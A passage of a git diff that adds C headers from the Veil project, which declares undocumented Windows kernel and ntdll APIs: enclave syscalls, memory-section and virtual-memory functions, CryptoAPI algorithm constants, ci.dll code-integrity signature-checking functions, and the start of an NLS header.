ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeEnclave( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_TH2 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateEnclave( + _In_ PVOID BaseAddress, + _In_ BOOLEAN WaitForThread +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateEnclave( + _In_ PVOID BaseAddress, + _In_ BOOLEAN WaitForThread +); + +#ifdef _KERNEL_MODE +typedef PVOID(NTAPI* PENCLAVE_ROUTINE)( + PVOID lpThreadParameter + ); +typedef PENCLAVE_ROUTINE LPENCLAVE_ROUTINE; +#endif // _KERNEL_MODE + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCallEnclave( + _In_ PENCLAVE_ROUTINE Routine, + _In_ PVOID Parameter, + _In_ BOOLEAN WaitForThread, + _Out_opt_ PVOID* ReturnValue +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCallEnclave( + _In_ PENCLAVE_ROUTINE Routine, + _In_ PVOID Parameter, + _In_ BOOLEAN WaitForThread, + _Out_opt_ PVOID* ReturnValue +); + +#endif // NTDDI_VERSION >= NTDDI_VERSION_RS3 + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Section + +NTSYSAPI +NTSTATUS +NTAPI +MmCreateSection( + _Deref_out_ PVOID* SectionObject, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PLARGE_INTEGER InputMaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _In_opt_ PFILE_OBJECT FileObject +); + +NTSYSAPI +NTSTATUS +NTAPI +MmMapViewOfSection( + _In_ PVOID SectionToMap, + _In_ PEPROCESS Process, + __deref_inout_bcount(*CapturedViewSize) PVOID* CapturedBase, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T CapturedViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +NTSYSAPI +NTSTATUS +NTAPI +MmUnmapViewOfSection( + _In_ PEPROCESS Process, + _In_ PVOID BaseAddress +); + +_IRQL_requires_max_(APC_LEVEL) +NTKERNELAPI +BOOLEAN +MmForceSectionClosed( + _In_ PSECTION_OBJECT_POINTERS SectionObjectPointer, + _In_ BOOLEAN DelayClose +); + +_IRQL_requires_max_(APC_LEVEL) +NTKERNELAPI +BOOLEAN +MmForceSectionClosedEx( + _In_ PSECTION_OBJECT_POINTERS SectionObjectPointer, + _In_ ULONG ForceCloseFlags +); + +// Virtual Memory + +NTSYSAPI +NTSTATUS +NTAPI +MmCopyVirtualMemory( + _In_ PEPROCESS aFromProcess, + _In_ CONST PVOID aFromAddress, + _In_ PEPROCESS aToProcess, + _Out_ PVOID aToAddress, + _In_ SIZE_T aBufferSize, + _In_ KPROCESSOR_MODE aPreviousMode, + _Out_ PSIZE_T aNumberOfBytesCopied +); + + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.MinCrypt.h b/include/Veil/Veil/Veil.System.MinCrypt.h new file mode 100644 index 0000000..d9245bd --- /dev/null +++ b/include/Veil/Veil/Veil.System.MinCrypt.h @@ -0,0 +1,568 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: https://github.com/Ido-Moshe-Github/CiDllDemo + * FILE: ci.h + * PURPOSE: Definition for the ci.dll API and Struct. + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: [Ido Moshe, Liron Zuarets] + * + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifdef _KERNEL_MODE + +#ifndef _MINCRYPT_LIB +#define MINCRYPTAPI __declspec(dllimport) +#else +#define MINCRYPTAPI +#endif + +// +// Algorithm IDs and Flags +// + +// ALG_ID crackers +#define GET_ALG_CLASS(x) (x & (7 << 13)) +#define GET_ALG_TYPE(x) (x & (15 << 9)) +#define GET_ALG_SID(x) (x & (511)) + +// Algorithm classes +// certenrolld_begin -- ALG_CLASS_* +#define ALG_CLASS_ANY (0) +#define ALG_CLASS_SIGNATURE (1 << 13) +#define ALG_CLASS_MSG_ENCRYPT (2 << 13) +#define ALG_CLASS_DATA_ENCRYPT (3 << 13) +#define ALG_CLASS_HASH (4 << 13) +#define ALG_CLASS_KEY_EXCHANGE (5 << 13) +#define ALG_CLASS_ALL (7 << 13) +// certenrolld_end + +// Algorithm types +#define ALG_TYPE_ANY (0) +#define ALG_TYPE_DSS (1 << 9) +#define ALG_TYPE_RSA (2 << 9) +#define ALG_TYPE_BLOCK (3 << 9) +#define ALG_TYPE_STREAM (4 << 9) +#define ALG_TYPE_DH (5 << 9) +#define ALG_TYPE_SECURECHANNEL (6 << 9) +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define ALG_TYPE_ECDH (7 << 9) +#endif //(NTDDI_VERSION >= NTDDI_VISTA) +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define ALG_TYPE_THIRDPARTY (8 << 9) +#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1) + +// Generic sub-ids +#define ALG_SID_ANY (0) + +// Generic ThirdParty sub-ids +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define ALG_SID_THIRDPARTY_ANY (0) +#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1) + +// Some RSA sub-ids +#define ALG_SID_RSA_ANY 0 +#define ALG_SID_RSA_PKCS 1 +#define ALG_SID_RSA_MSATWORK 2 +#define ALG_SID_RSA_ENTRUST 3 +#define ALG_SID_RSA_PGP 4 + +// Some DSS sub-ids +// +#define ALG_SID_DSS_ANY 0 +#define ALG_SID_DSS_PKCS 1 +#define ALG_SID_DSS_DMS 2 +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define ALG_SID_ECDSA 3 +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// Block cipher sub ids +// DES sub_ids +#define ALG_SID_DES 1 +#define ALG_SID_3DES 3 +#define ALG_SID_DESX 4 +#define ALG_SID_IDEA 5 +#define ALG_SID_CAST 6 +#define ALG_SID_SAFERSK64 7 +#define ALG_SID_SAFERSK128 8 +#define ALG_SID_3DES_112 9 +#define ALG_SID_CYLINK_MEK 12 +#define ALG_SID_RC5 13 +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define ALG_SID_AES_128 14 +#define ALG_SID_AES_192 15 +#define ALG_SID_AES_256 16 +#define ALG_SID_AES 17 +#endif //(NTDDI_VERSION >= NTDDI_WINXP) + +// Fortezza sub-ids +#define ALG_SID_SKIPJACK 10 +#define ALG_SID_TEK 11 + +// KP_MODE +#define CRYPT_MODE_CBCI 6 // ANSI CBC Interleaved +#define CRYPT_MODE_CFBP 7 // ANSI CFB Pipelined +#define CRYPT_MODE_OFBP 8 // ANSI OFB Pipelined +#define CRYPT_MODE_CBCOFM 9 // ANSI CBC + OF Masking +#define CRYPT_MODE_CBCOFMI 10 // ANSI CBC + OFM Interleaved + +// RC2 sub-ids +#define ALG_SID_RC2 2 + +// Stream cipher sub-ids +#define ALG_SID_RC4 1 +#define ALG_SID_SEAL 2 + +// Diffie-Hellman sub-ids +#define ALG_SID_DH_SANDF 1 +#define ALG_SID_DH_EPHEM 2 +#define ALG_SID_AGREED_KEY_ANY 3 +#define ALG_SID_KEA 4 +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define ALG_SID_ECDH 5 +#define ALG_SID_ECDH_EPHEM 6 +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// Hash sub ids +#define ALG_SID_MD2 1 +#define ALG_SID_MD4 2 +#define ALG_SID_MD5 3 +#define ALG_SID_SHA 4 +#define ALG_SID_SHA1 4 +#define ALG_SID_MAC 5 +#define ALG_SID_RIPEMD 6 +#define ALG_SID_RIPEMD160 7 +#define ALG_SID_SSL3SHAMD5 8 +#define ALG_SID_HMAC 9 +#define ALG_SID_TLS1PRF 10 +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define ALG_SID_HASH_REPLACE_OWF 11 +#endif //(NTDDI_VERSION >= NTDDI_WINXP) +#if (NTDDI_VERSION > NTDDI_WINXPSP2) +#define ALG_SID_SHA_256 12 +#define ALG_SID_SHA_384 13 +#define ALG_SID_SHA_512 14 +#endif //(NTDDI_VERSION > NTDDI_WINXPSP2) + +// secure channel sub ids +#define ALG_SID_SSL3_MASTER 1 +#define ALG_SID_SCHANNEL_MASTER_HASH 2 +#define ALG_SID_SCHANNEL_MAC_KEY 3 +#define ALG_SID_PCT1_MASTER 4 +#define ALG_SID_SSL2_MASTER 5 +#define ALG_SID_TLS1_MASTER 6 +#define ALG_SID_SCHANNEL_ENC_KEY 7 + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// misc ECC sub ids +#define ALG_SID_ECMQV 1 +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// Our silly example sub-id +#define ALG_SID_EXAMPLE 80 + +// certenrolls_begin -- PROV_ENUMALGS_EX +#ifndef ALGIDDEF +#define ALGIDDEF +typedef unsigned int ALG_ID; +#endif +// certenrolls_end + +// algorithm identifier definitions +#define CALG_MD2 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2) +#define CALG_MD4 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4) +#define CALG_MD5 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5) +#define CALG_SHA (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA) +#define CALG_SHA1 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1) +#define CALG_MAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MAC) // Deprecated. Don't use. +#define CALG_RSA_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY) +#define CALG_DSS_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY) +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define CALG_NO_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY) +#endif //(NTDDI_VERSION >= NTDDI_WINXP) +#define CALG_RSA_KEYX (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY) +#define CALG_DES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES) +#define CALG_3DES_112 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112) +#define CALG_3DES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES) +#define CALG_DESX (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX) +#define CALG_RC2 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2) +#define CALG_RC4 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4) +#define CALG_SEAL (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL) +#define CALG_DH_SF (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF) +#define CALG_DH_EPHEM (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM) +#define CALG_AGREEDKEY_ANY (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY) +#define CALG_KEA_KEYX (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA) +#define CALG_HUGHES_MD5 (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5) +#define CALG_SKIPJACK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK) +#define CALG_TEK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK) +#define CALG_CYLINK_MEK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_CYLINK_MEK) // Deprecated. Do not use +#define CALG_SSL3_SHAMD5 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5) +#define CALG_SSL3_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER) +#define CALG_SCHANNEL_MASTER_HASH (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH) +#define CALG_SCHANNEL_MAC_KEY (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY) +#define CALG_SCHANNEL_ENC_KEY (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY) +#define CALG_PCT1_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER) +#define CALG_SSL2_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER) +#define CALG_TLS1_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER) +#define CALG_RC5 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5) +#define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) +#define CALG_TLS1PRF (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF) +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define CALG_HASH_REPLACE_OWF (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF) +#define CALG_AES_128 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128) +#define CALG_AES_192 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192) +#define CALG_AES_256 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256) +#define CALG_AES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES) +#endif //(NTDDI_VERSION >= NTDDI_WINXP) +#if (NTDDI_VERSION > NTDDI_WINXPSP2) +#define CALG_SHA_256 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256) +#define CALG_SHA_384 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384) +#define CALG_SHA_512 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512) +#endif //(NTDDI_VERSION > NTDDI_WINXPSP2) +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define CALG_ECDH (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH) +#define CALG_ECDH_EPHEM (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ECDH | ALG_SID_ECDH_EPHEM) +#define CALG_ECMQV (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV) +#define CALG_ECDSA (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA) +#define CALG_NULLCIPHER (ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_ANY | 0) +#endif //(NTDDI_VERSION >= NTDDI_VISTA) +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define CALG_THIRDPARTY_KEY_EXCHANGE (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#define CALG_THIRDPARTY_SIGNATURE (ALG_CLASS_SIGNATURE | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#define CALG_THIRDPARTY_CIPHER (ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#define CALG_THIRDPARTY_HASH (ALG_CLASS_HASH | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1) + +#include +typedef struct _MINCRYPTOAPI_BLOB +{ + UINT32 Size; + _Field_size_bytes_(Size) UINT8* Data; + +} MINCRYPT_INTEGER_BLOB, * PMINCRYPT_INTEGER_BLOB, +MINCRYPT_UINT_BLOB, * PMINCRYPT_UINT_BLOB, +MINCRYPT_OBJID_BLOB, * PMINCRYPT_OBJID_BLOB, +MINCERT_NAME_BLOB, * PMINCERT_NAME_BLOB, +MINCERT_RDN_VALUE_BLOB, * PMINCERT_RDN_VALUE_BLOB, +MINCERT_BLOB, * PMINCERT_BLOB, +MINCRL_BLOB, * PMINCRL_BLOB, +MINCRYPT_DATA_BLOB, * PMINCRYPT_DATA_BLOB, +MINCRYPT_HASH_BLOB, * PMINCRYPT_HASH_BLOB, +MINCRYPT_DIGEST_BLOB, * PMINCRYPT_DIGEST_BLOB, +MINCRYPT_DER_BLOB, * PMINCRYPT_DER_BLOB, +MINCRYPT_ATTR_BLOB, * PMINCRYPT_ATTR_BLOB; + +typedef struct _MINCRYPT_NAME_BLOB +{ + _Field_size_bytes_(Size) PCHAR Data; + USHORT Size; + +}MINCRYPT_NAME_BLOB, * PMINCRYPT_NAME_BLOB; + +#define MINCRYPT_MAX_HASH_LENGTH (64) +#define MINCRYPT_SHA1_LENGTH (160/8) +#define MINCRYPT_SHA256_LENGTH (256/8) + +typedef struct _MINCRYPT_CHAIN_ELEMENT +{ + ALG_ID HashAlgId; // CALG_SHA1, CALG_SHA_256 + UINT32 HashSize; // SHA1(160bit/8), SHA256(256bit/8) + UINT8 Hash[MINCRYPT_MAX_HASH_LENGTH]; + + MINCRYPT_NAME_BLOB Subject; + MINCRYPT_NAME_BLOB Issuer; + + MINCERT_BLOB Certificate; + +}MINCRYPT_CHAIN_ELEMENT, * PMINCRYPT_CHAIN_ELEMENT; + +typedef struct _MINCRYPT_CHAIN_INFO +{ + UINT32 Size; + + MINCERT_BLOB* PublicKeys; + UINT32 NumberOfPublicKeys; + + MINCERT_BLOB* EKUs; + UINT32 NumberOfEKUs; + +#if (NTDDI_VERSION >= NTDDI_WIN10) + + PMINCRYPT_CHAIN_ELEMENT ChainElements; + UINT32 NumberOfChainElement; + + // ASN.1 blob of authenticated attributes - spcSpOpusInfo, contentType, etc. + MINCRYPT_ATTR_BLOB AuthenticodeAttributes; + + // UINT8 Hash[32]; + +#endif // NTDDI_VERSION >= NTDDI_WIN10 + + /* memory layout */ + + // EKUs[NumberOfEKUs] + + // PublicKeys[NumberOfPublicKeys] + + // AuthenticodeAttributes.Data[AuthenticodeAttributes.Size] + + // ChainElements[NumberOfChainElement] + +}MINCRYPT_CHAIN_INFO, * PMINCRYPT_CHAIN_INFO; + +typedef struct _MINCRYPT_POLICY_INFO +{ + UINT32 Size; + UINT32 VerificationStatus; + UINT32 PolicyBits; + + MINCRYPT_CHAIN_INFO* ChainInfo; + + LARGE_INTEGER RevocationTime; // When was the certificate revoked (if applicable) + +#if (NTDDI_VERSION >= NTDDI_WIN10) + + LARGE_INTEGER NotBefore; // The certificate is not valid before this time + LARGE_INTEGER NotAfter; // The certificate is not valid after this time + +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +}MINCRYPT_POLICY_INFO, PMINCRYPT_POLICY_INFO; +#include + + +/** +* Resets a PolicyInfo struct - frees the dynamically allocated buffer in PolicyInfo (ChainInfo) if not null. +* Zeros the entire PolicyInfo struct. +* +* @param PolicyInfo - the struct to reset. +* +* @return the struct which was reset. +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +PVOID +NTAPI +CiFreePolicyInfo( + _Inout_ MINCRYPT_POLICY_INFO* PolicyInfo +); + + +/** +* Win7SP1-Win8.1 only (KB3033929 installed). Use CiValidateFileObject on Win10! +* +* Given a file digest and signature of a file, verify the signature and provide information regarding +* the certificates that was used for signing (the entire certificate chain) +* +* @note must be attached to the PsInitialSystemProcess first! +* +* @param Hash - buffer containing the digest +* +* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256 +* +* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C) +* +* @param SecurityDirectory - pointer to the start of the security directory +* +* @param SizeOfSecurityDirectory - size the security directory +* +* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain +* +* @param SigningTime[out] - when the file was signed (FILETIME format) +* +* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain +* +* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified. +* Various error values otherwise, for example: +* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature +* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked +* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiCheckSignedFile( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ PVOID SecurityDirectory, + _In_ UINT32 SizeOfSecurityDirectory, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +); + + +/** +* Win7SP1-Win8.1 only (KB3033929 installed). Use CiValidateFileObject on Win10! +* +* Checks if the SHA-1 message digest is contained within a verified system catalog +* +* @note must be attached to the PsInitialSystemProcess first! +* +* @param Hash - buffer containing the digest +* +* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256 +* +* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C) +* +* @param IsReloadCatalogs - is reload catalogs cache. +* +* @param Always0 - this is for IsReloadCatalogs, Always0 != 0 ? 16 : 24; +* +* @param Always2007F - unknown, always 0x2007F, maybe a mask. +* +* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain. +* +* @param CatalogName[out option] - catalog file name. +* +* @param SigningTime[out] - when the file was signed (FILETIME format) +* +* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain. +* +* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified. +* Various error values otherwise, for example: +* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature +* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked +* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiVerifyHashInCatalog( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ BOOLEAN IsReloadCatalogs, + _In_ UINT32 Always0, + _In_ UINT32 Always2007F, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_opt_ UNICODE_STRING* CatalogName, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +); + + +#if (NTDDI_VERSION >= NTDDI_WIN10) + +typedef +_IRQL_requires_same_ +_Function_class_(MINCRYPT_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +MINCRYPT_ALLOCATE_ROUTINE( + _In_ SIZE_T ByteSize +); +typedef MINCRYPT_ALLOCATE_ROUTINE* PMINCRYPT_ALLOCATE_ROUTINE; + +/** +* Parse the publisher name from the certificate +* +* @param Certificate - &PolicyInfo.ChainInfo->ChainElements[x].Certificate +* +* @param AllocateRoutine - used to allocate PublisherName buffer. +* +* @param PublisherName[out] - publisher name. +* +* @return buffer length. +*/ +MINCRYPTAPI +NTSTATUS +NTAPI +CiGetCertPublisherName( + _In_ MINCERT_BLOB* Certificate, + _In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine, + _Out_ PUNICODE_STRING PublisherName +); + + +MINCRYPTAPI +VOID +NTAPI +CiSetTrustedOriginClaimId( + _In_ UINT32 ClaimId +); + +/** +* Given a file object, verify the signature and provide information regarding +* the certificates that was used for signing (the entire certificate chain) +* +* @param FileObject - FileObject of the PE in question +* +* @param Unkonwn1 - unknown, 0 is a valid value. (Unkonwn1 and Unkonwn2 together calculate the minimum support algorithm) +* +* @param Unkonwn2 - unknown, 0 is a valid value. (^ the words above refer to 'CipGetHashAlgorithmForLegacyScenario') +* +* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain. +* +* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain. +* +* @param SigningTime[out] - when the file was signed (FILETIME format) +* +* @param Hash - buffer containing the digest +* +* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256 +* +* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C) +* +* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified. +* Various error values otherwise, for example: +* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature +* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked +* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiValidateFileObject( + _In_ FILE_OBJECT* FileObject, + _In_opt_ UINT32 Unkonwn1, + _In_opt_ UINT32 Unkonwn2, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ UINT8* Hash, + _Inout_ UINT32* HashSize, + _Out_ ALG_ID* HashAlgId +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Nls.h b/include/Veil/Veil/Veil.System.Nls.h new file mode 100644 index 0000000..bfd8459 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Nls.h @@ -0,0 +1,120 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + + /* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + + /* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + + // Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +NTSYSAPI USHORT NlsAnsiCodePage; + +#ifndef _KERNEL_MODE + +#ifdef _NTSYSTEM_ + +// Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent +#define NLS_MB_CODE_PAGE_TAG NlsMbCodePageTag +#define NLS_MB_OEM_CODE_PAGE_TAG NlsMbOemCodePageTag + +#else + +// Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent +#define NLS_MB_CODE_PAGE_TAG (*NlsMbCodePageTag) +#define NLS_MB_OEM_CODE_PAGE_TAG 